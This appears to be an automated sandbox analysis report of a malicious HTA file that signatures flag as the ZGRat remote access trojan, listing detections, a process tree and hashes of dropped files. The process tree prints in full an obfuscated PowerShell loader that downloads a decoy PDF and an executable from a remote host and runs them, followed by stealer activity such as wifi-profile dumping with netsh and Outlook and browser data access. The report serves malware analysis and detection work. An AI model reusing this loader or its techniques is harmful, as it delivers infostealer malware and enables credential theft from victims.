Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 20:19

General

  • Target

    magic.poisontoolz.com/Docs.hta

  • Size

    13KB

  • MD5

    1748029e0d263b69facbad619388035b

  • SHA1

    68a59b7c1a84d688b0fa226478fd467ca832cf86

  • SHA256

    7081af3ed8502a3f98fe7907be09d7968e52d378554106de2d10bec091a4f499

  • SHA512

    3fa7cbc5efcc5797c7cdbae7277ecc676c4c979e200dceb3608d971c82863f307376feee31ccda4c17d34441750eae9ec43ee08f1f37e1d6d9bbb8dda489b19a

  • SSDEEP

    384:A/2Fh6MpARzbm4hRqzzbzse/JzzbVsm760ZqezHbqbz4sb4pzm/0Mr8HHzs38Ob3:0

Malware Config

Signatures

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\magic.poisontoolz.com\Docs.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function dxkEOJ($jqyPVSgWqmmMsu, $aNoKIHhsKCDNWp){[IO.File]::WriteAllBytes($jqyPVSgWqmmMsu, $aNoKIHhsKCDNWp)};function jjdeCQWVxw($jqyPVSgWqmmMsu){if($jqyPVSgWqmmMsu.EndsWith((sqawNbuSbNoQJZv @(58322,58376,58384,58384))) -eq $True){rundll32.exe $jqyPVSgWqmmMsu }elseif($jqyPVSgWqmmMsu.EndsWith((sqawNbuSbNoQJZv @(58322,58388,58391,58325))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $jqyPVSgWqmmMsu}elseif($jqyPVSgWqmmMsu.EndsWith((sqawNbuSbNoQJZv @(58322,58385,58391,58381))) -eq $True){misexec /qn /i $jqyPVSgWqmmMsu}else{Start-Process $jqyPVSgWqmmMsu}};function HbrgwLHwrnHIIKcXF($PsSShlejHlmIATZ){$DiupfoBkkti = New-Object (sqawNbuSbNoQJZv @(58354,58377,58392,58322,58363,58377,58374,58343,58384,58381,58377,58386,58392));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$aNoKIHhsKCDNWp = $DiupfoBkkti.DownloadData($PsSShlejHlmIATZ);return $aNoKIHhsKCDNWp};function sqawNbuSbNoQJZv($IGSmIy){$qiARGdapNw=58276;$oaVnqUhEZ=$Null;foreach($PnrRNHiYycYQVcn in $IGSmIy){$oaVnqUhEZ+=[char]($PnrRNHiYycYQVcn-$qiARGdapNw)};return $oaVnqUhEZ};function SSSHxFUz(){$SrNKPGroYNNtLyR = $env:AppData + '\';$mVYpdLNFBXXciTDAvNH = $SrNKPGroYNNtLyR + 'Document.pdf';If(Test-Path -Path $mVYpdLNFBXXciTDAvNH){Invoke-Item $mVYpdLNFBXXciTDAvNH;}Else{ $lyGsxYZsmNE = HbrgwLHwrnHIIKcXF (sqawNbuSbNoQJZv @(58380,58392,58392,58388,58391,58334,58323,58323,58385,58373,58379,58381,58375,58322,58388,58387,58381,58391,58387,58386,58392,58387,58387,58384,58398,58322,58375,58387,58385,58323,58344,58387,58375,58393,58385,58377,58386,58392,58322,58388,58376,58378));dxkEOJ $mVYpdLNFBXXciTDAvNH $lyGsxYZsmNE;Invoke-Item $mVYpdLNFBXXciTDAvNH;};$bblLmj = $SrNKPGroYNNtLyR + 'Buildcrypt.exe'; if (Test-Path -Path $bblLmj){jjdeCQWVxw $bblLmj;}Else{ $SlNerqupbdAkKp = HbrgwLHwrnHIIKcXF (sqawNbuSbNoQJZv @(58380,58392,58392,58388,58391,58334,58323,58323,58385,58373,58379,58381,58375,58322,58388,58387,58381,58391,58387,58386,58392,58387,58387,58384,58398,58322,58375,58387,58385,58323,58342,58393,58381,58384,58376,58375,58390,58397,58388,58392,58322,58377,58396,58377));dxkEOJ $bblLmj $SlNerqupbdAkKp;jjdeCQWVxw $bblLmj;};;;;}SSSHxFUz;
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Document.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2116
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3428
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=B1BA23CBB6B8ADE984E66F02BD8FFBCB --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=B1BA23CBB6B8ADE984E66F02BD8FFBCB --renderer-client-id=2 --mojo-platform-channel-handle=1704 --allow-no-sandbox-job /prefetch:1
            5⤵
              PID:3600
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A4AFFB00DA70C44E89F0006F7A791B52 --mojo-platform-channel-handle=1728 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              5⤵
                PID:3036
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=0DAD23F905662147322197BCAE29E9B2 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=0DAD23F905662147322197BCAE29E9B2 --renderer-client-id=4 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:4648
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8F6D819C2C95458AFCD482D7629D9A50 --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:4524
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9B94B64419BE447393C0FAA7D9D790F7 --mojo-platform-channel-handle=2844 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:884
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4F5F8B806EAD2D2C82F04826F782E692 --mojo-platform-channel-handle=2928 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:3900
                  • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe
                    "C:\Users\Admin\AppData\Roaming\Buildcrypt.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1000
                    • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe
                      C:\Users\Admin\AppData\Roaming\Buildcrypt.exe
                      4⤵
                      • Executes dropped EXE
                      PID:820
                    • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe
                      C:\Users\Admin\AppData\Roaming\Buildcrypt.exe
                      4⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook profiles
                      • Checks processor information in registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • outlook_office_path
                      • outlook_win_path
                      PID:4664
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                        5⤵
                          PID:4072
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            6⤵
                              PID:3100
                            • C:\Windows\SysWOW64\findstr.exe
                              findstr All
                              6⤵
                                PID:3088
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh wlan show profile
                                6⤵
                                  PID:4580
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                5⤵
                                  PID:676
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:2236
                          • C:\Windows\system32\msiexec.exe
                            C:\Windows\system32\msiexec.exe /V
                            1⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2612
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            1⤵
                              PID:1568
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh wlan show networks mode=bssid
                              1⤵
                                PID:3036

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                Filesize

                                51KB

                                MD5

                                daf72125c1f6c2c88d6a41564d3f025e

                                SHA1

                                dbe3ad9f09bdda33f0f318b0d766375baf1fc1f9

                                SHA256

                                91241978919b4738d0be1891144d0614903a08b1e1975e425407e4694ca342b2

                                SHA512

                                1133b6013f5a4132d21b208b4a8622e1fd0ae409acdf535d24f00e985bc7387b27407f7cd8bd991e33255cc4752794f6015c0580bdd3885e1b1d6af7665a9776

                              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                Filesize

                                56KB

                                MD5

                                c26ed30e7d5ab440480838636efc41db

                                SHA1

                                c66e0d00b56abebfb60d2fcc5cf85ad31a0d6591

                                SHA256

                                6a3c5c4a8e57f77ecc22078fbf603ecc31fb82d429bd87b7b4b9261447092aef

                                SHA512

                                96cdb78bca3e01d4513c31661987e5646e6a8ff24708918aa0d66dfa3ca5d98af4862c9f38c4f41f933c345d2d3adfb1d34d1430b33f45f916f41a9872a030df

                              • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                Filesize

                                56KB

                                MD5

                                752a1f26b18748311b691c7d8fc20633

                                SHA1

                                c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                                SHA256

                                111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                                SHA512

                                a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                              • C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                Filesize

                                1KB

                                MD5

                                b65b0fffc080d61f81df44a349dcbd5e

                                SHA1

                                8540e8fc99e86275493bffb8e0224a29b6f4d6e5

                                SHA256

                                6cd8bc3eedeaf4ef2d54af586634e03d8bf7f9a3fdf4256f86a3dd4d006440f7

                                SHA512

                                29f48f648ba705f29522d0dab95afe44cccb878610a6ecb45bb7131834a31de97bf8f3683ef8a946389507faa90296c1bd33063dba43fc5e95640c1b8f529bdc

                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Buildcrypt.exe.log

                                Filesize

                                1KB

                                MD5

                                c3941d9fa38f1717d5cecd7a2ca71667

                                SHA1

                                33b5362675383b58b4166ed9f9a61e5aa6768d2e

                                SHA256

                                f1ed6ff1cd3df219061e32df1c75d6f48de6484cf50e5ea7d86cd8bcfcb93256

                                SHA512

                                98f103ef97d32bf8c0566a6f6da5cf8d58d18f698c1b3e5bd0be0ea8462f5fe54c2e5e6b5188f2b7d8f70082ffd6745b1f7f6cab95af474e2b7eaed50a9d9c45

                              • C:\Users\Admin\AppData\Local\Temp\Stealerium-Latest.log

                                Filesize

                                1KB

                                MD5

                                27fda8b4ccd36e3f67a3567b72d190ff

                                SHA1

                                23a3af45be473349ef5425af4523899c50ce76d8

                                SHA256

                                a696b5a790f107591693870ea2dcc3ace5f8ab11fa192435e99f1c70a7c4b90a

                                SHA512

                                4be81d52a28bf5e7be69dd1db51803288b5817e4e9c56efd1bb78767695f3753e1afa10d3bb29d0d4d684f27c707aa1d53f386d5c04c8b080ffd4d718a7b267e

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4somwvmw.4ed.ps1

                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\Browsers\Firefox\Bookmarks.txt

                                Filesize

                                105B

                                MD5

                                2e9d094dda5cdc3ce6519f75943a4ff4

                                SHA1

                                5d989b4ac8b699781681fe75ed9ef98191a5096c

                                SHA256

                                c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                                SHA512

                                d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\Directories\OneDrive.txt

                                Filesize

                                25B

                                MD5

                                966247eb3ee749e21597d73c4176bd52

                                SHA1

                                1e9e63c2872cef8f015d4b888eb9f81b00a35c79

                                SHA256

                                8ddfc481b1b6ae30815ecce8a73755862f24b3bb7fdebdbf099e037d53eb082e

                                SHA512

                                bd30aec68c070e86e3dec787ed26dd3d6b7d33d83e43cb2d50f9e2cff779fee4c96afbbe170443bd62874073a844beb29a69b10c72c54d7d444a8d86cfd7b5aa

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\Directories\Startup.txt

                                Filesize

                                24B

                                MD5

                                68c93da4981d591704cea7b71cebfb97

                                SHA1

                                fd0f8d97463cd33892cc828b4ad04e03fc014fa6

                                SHA256

                                889ed51f9c16a4b989bda57957d3e132b1a9c117ee84e208207f2fa208a59483

                                SHA512

                                63455c726b55f2d4de87147a75ff04f2daa35278183969ccf185d23707840dd84363bec20d4e8c56252196ce555001ca0e61b3f4887d27577081fdef9e946402

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\Directories\Videos.txt

                                Filesize

                                23B

                                MD5

                                1fddbf1169b6c75898b86e7e24bc7c1f

                                SHA1

                                d2091060cb5191ff70eb99c0088c182e80c20f8c

                                SHA256

                                a67aa329b7d878de61671e18cd2f4b011d11cbac67ea779818c6dafad2d70733

                                SHA512

                                20bfeafde7fec1753fef59de467bd4a3dd7fe627e8c44e95fe62b065a5768c4508e886ec5d898e911a28cf6365f455c9ab1ebe2386d17a76f53037f99061fd4d

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\System\Apps.txt

                                Filesize

                                5KB

                                MD5

                                b1d58554f33c991f9454f81bf1f6a7a6

                                SHA1

                                1a9c0748fbb4c4974315f6a3188ffb5078372de1

                                SHA256

                                2809730601ec3cd803e75dded9788afc2683f6562378a497e7300fd83137838c

                                SHA512

                                ef961a73b2b8844155d1684a6d5e0319ad5d0c8cb2c60e4ed16b03cca69e04bf9872f2bff8fdf24d3bf284366f2b2f0d36f1e4c1cd5d007732c3ad0af562d5c6

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\System\Process.txt

                                Filesize

                                4KB

                                MD5

                                78f78af907cebe8c34bc2b58820ccb8c

                                SHA1

                                0a1e64adcc9ccd1b59ab0fec3460fd888ddc8d28

                                SHA256

                                3aaa47224ec7e88b7c1c6b9ad9f69ef163b4a3bb432e2d9cad7a490b81f2d22f

                                SHA512

                                20cad89ca15bd38ca5d621850e914c784dec50c8fd4bc45ac739da6425d84146935d4f3d9d1649e58bc22dc7a91f98559b8492a2183873bc271dd83e90ae238d

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\System\ProductKey.txt

                                Filesize

                                29B

                                MD5

                                71eb5479298c7afc6d126fa04d2a9bde

                                SHA1

                                a9b3d5505cf9f84bb6c2be2acece53cb40075113

                                SHA256

                                f6cadfd4e4c25ff3b8cffe54a2af24a757a349abbf4e1142ec4c9789347fe8b3

                                SHA512

                                7c6687e21d31ec1d6d2eff04b07b465f875fd80df26677f1506b14158444cf55044eb6674880bd5bd44f04ff73023b26cb19b8837427a1d6655c96df52f140bd

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\Admin@EUCQOBEO_en-US\System\Windows.txt

                                Filesize

                                317B

                                MD5

                                d3181270194f2c60fb84019a64a67ec0

                                SHA1

                                e60cbb8316305efa9717d6c99702560621cd9901

                                SHA256

                                08a20a4a7d010e9670afd792ae04a642a7c4b66101bba3111d3f159a220a643d

                                SHA512

                                d08944250f7b4e7aaf54f43851596a57da056fa5da3f6c73103d186e7f944ff72cb3a308b76fb38b59376eeebe1838cc7634b3f6f1cdda64fe696dcc07b1f305

                              • C:\Users\Admin\AppData\Local\b7cef675e8a0c9d712d4cdaf726f00f9\msgid.dat

                                Filesize

                                19B

                                MD5

                                83d0759b0e0bd95d8ec3af4b24d34892

                                SHA1

                                3ef09021405d57c5c6b6581432064ed6dd055120

                                SHA256

                                dc12668b00a4dd01fa9bdc70018d359e4733d3db9cb387bddeb95e44a3f6585c

                                SHA512

                                cf525f2798199adf0a67f68bfa36a206978bc26557616d7dc20d5e0c99a3cf422ca1e9db1724b1dcf31a1f1716e9dd273e3427bad04bf6db395f6575fdf6c783

                              • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe

                                Filesize

                                9KB

                                MD5

                                ebaf811ecff8139439cbcad21e0788d5

                                SHA1

                                f494b3df2a71e137f86b7e9b6f06f6a659534311

                                SHA256

                                3b1dce1a2e8e3753e7a29b43946c83be26ac9d28de854bae2a81e37af5c58349

                                SHA512

                                62580c267c09b181f9772d8d132738240022d9abb3c1a89d564c4f0e0d0a2f59161a7527e0d6799cfc1fd5176670d7231d3a7eceb31a4bb3db59f4854efc2219

                              • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe

                                Filesize

                                1KB

                                MD5

                                1146d3a15130bd2c5fdfae7ea6cd78a3

                                SHA1

                                0a2a1406b135a5f2b7c57aec1c8cdb53c1b6b22f

                                SHA256

                                0f5890a4dc9f8f4ae0967c8958cf02f70009dd3748268d33c8acf06226cdba2a

                                SHA512

                                dd6cebb5b0bf8e06d32da44fd9d1d12ee7c0e88efd0fe80a62f9cc5bc6c0fc8266f9d1ca9883e1f12039e2587a52f8f679d00d7cb506115204435779d6c7dc96

                              • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe

                                Filesize

                                86KB

                                MD5

                                380888258d0c8d18da63e80591a4e0f3

                                SHA1

                                70ef5767c29304806ccc4cd136d9c5bfd8dcf403

                                SHA256

                                eaaefbc4c960dca1de30c44f0fccbbefdb9c3e0e243e7ff5579316b99206b8e0

                                SHA512

                                63104e4e2e6b260522c26a28287684bb8dab433d4b03396e30b478288980d15d4d259d873f1f59eda364ec777bcdc79f481b11890178a012f2bc483497c4e3b3

                              • C:\Users\Admin\AppData\Roaming\Buildcrypt.exe

                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                              • C:\Users\Admin\AppData\Roaming\Document.pdf

                                Filesize

                                3KB

                                MD5

